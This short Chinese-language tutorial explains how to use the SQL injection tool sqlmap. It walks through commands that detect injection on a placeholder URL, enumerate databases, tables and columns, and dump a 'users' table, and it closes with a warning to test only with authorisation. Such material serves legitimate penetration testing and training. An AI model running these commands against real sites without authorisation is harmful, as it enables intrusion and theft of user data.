sqlmap
是一款强大的开源 SQL 注入工具,可自动化检测和利用 SQL 注入漏洞。以下是使用 sqlmap
的基本步骤:
1. 安装 sqlmap
如果你使用的是 Linux 系统,可以通过如下命令克隆 sqlmap
的仓库:
bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
如果你使用的是 Windows 系统,可从 sqlmap 官方 GitHub 仓库 下载 ZIP 文件,然后解压。
2. 基本使用场景
检测 URL 是否存在 SQL 注入漏洞
假设你要检测的目标 URL 是 http://example.com/vulnerable_page.php?id=1
,可使用如下命令:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --batch
这里的 -u
用于指定目标 URL,--batch
表示使用默认选项,无需手动确认。
枚举数据库信息
若发现目标存在 SQL 注入漏洞,可使用以下命令枚举数据库:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs --batch
--dbs
选项用于列出目标数据库中的所有数据库。
枚举指定数据库中的表
如果你想查看某个数据库中的表,例如 testdb
,可以使用以下命令:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables --batch
-D
用于指定数据库名,--tables
用于列出指定数据库中的所有表。
枚举指定表中的列
若要查看指定表中的列,例如 testdb
数据库中的 users
表,可以使用以下命令:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns --batch
-T
用于指定表名,--columns
用于列出指定表中的所有列。
转储指定表中的数据
若要转储指定表中的数据,例如 testdb
数据库中的 users
表,可以使用以下命令:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --dump --batch
--dump
用于转储指定表中的数据。
3. 注意事项
- 仅在获得授权的情况下使用
sqlmap
进行测试,未经授权对他人系统进行测试属于违法行为。 - 测试时要注意目标系统的稳定性,避免因测试操作对目标系统造成损害。